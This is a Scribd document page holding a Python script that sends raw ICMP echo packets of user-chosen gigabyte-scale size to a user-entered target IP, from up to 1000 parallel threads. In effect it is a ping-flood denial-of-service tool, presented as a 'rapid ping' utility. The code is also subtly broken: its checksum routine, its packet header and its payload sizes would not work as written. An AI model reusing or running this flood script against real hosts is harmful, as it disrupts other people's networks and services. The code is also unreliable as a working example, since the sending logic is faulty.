0% found this document useful (0 votes)
7 views2 pages

Import Socket

This document contains a Python script for sending ICMP Echo Requests (pings) to a specified target IP address. It includes functions to calculate checksums, send raw ICMP packets, and utilize threading for rapid pings. The script prompts the user for the target IP, payload size in GB, and the number of pings to send, then executes the pinging process and reports the time taken.

Uploaded by

thejokeiofficial
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
7 views2 pages

Import Socket

This document contains a Python script for sending ICMP Echo Requests (pings) to a specified target IP address. It includes functions to calculate checksums, send raw ICMP packets, and utilize threading for rapid pings. The script prompts the user for the target IP, payload size in GB, and the number of pings to send, then executes the pinging process and reports the time taken.

Uploaded by

thejokeiofficial
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

import socket

import os
import time
import threading
from concurrent.futures import ThreadPoolExecutor

# Constants for raw socket


ICMP_ECHO_REQUEST = 8 # ICMP Echo Request Type

def checksum(source_string):
"""
A function to calculate the checksum for the ICMP packet
"""
sum = 0
countTo = (len(source_string) // 2) * 2
count = 0
while count < countTo:
thisVal = ord(source_string[count + 1]) * 256 + ord(source_string[count])
sum = sum + thisVal
sum = sum & 0xffffffff
count = count + 2
if countTo < len(source_string):
sum = sum + ord(source_string[len(source_string) - 1])
sum = sum & 0xffffffff
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer = ~sum & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer

def send_ping(target_ip, packet_size):


"""
Send a raw ICMP packet of given size to the target IP.
"""
my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
my_socket.settimeout(1)

# Build the ICMP packet


packet = b'A' * packet_size # Create a payload of the required size
(packet_size)

# Build the checksum for the packet


my_checksum = checksum(packet)

# Construct ICMP packet with header


header = b'\x08\x00\x00\x00' # ICMP Echo Request with Type 8 and Code 0
header += my_checksum.to_bytes(2, 'big') # Checksum
icmp_packet = header + packet # Combine the header and the data

# Send the packet to the target IP


my_socket.sendto(icmp_packet, (target_ip, 1))
my_socket.close()

def ping_target(target_ip, packet_size, count):


"""
Use multiple threads to send rapid pings to the target.
"""
# Create a thread pool for sending packets in parallel
with ThreadPoolExecutor(max_workers=1000) as executor:
futures = []
for _ in range(count):
futures.append(executor.submit(send_ping, target_ip, packet_size))

# Wait for all pings to complete


for future in futures:
future.result()

def main():
# Input for target IP, payload size, and number of pings
target_ip = input("Enter the target IP: ")
size_gb = float(input("Enter the size of payload (in GB): "))
count = int(input("Enter the number of pings to send: "))

# Convert GB to bytes for the payload size


size_bytes = int(size_gb * 1024 * 1024 * 1024)

# Start pinging
start_time = time.time()
ping_target(target_ip, size_bytes, count)
end_time = time.time()

print(f"Sent {count} pings with {size_gb}GB payloads in {end_time -


start_time:.2f} seconds.")

if __name__ == "__main__":
main()

You might also like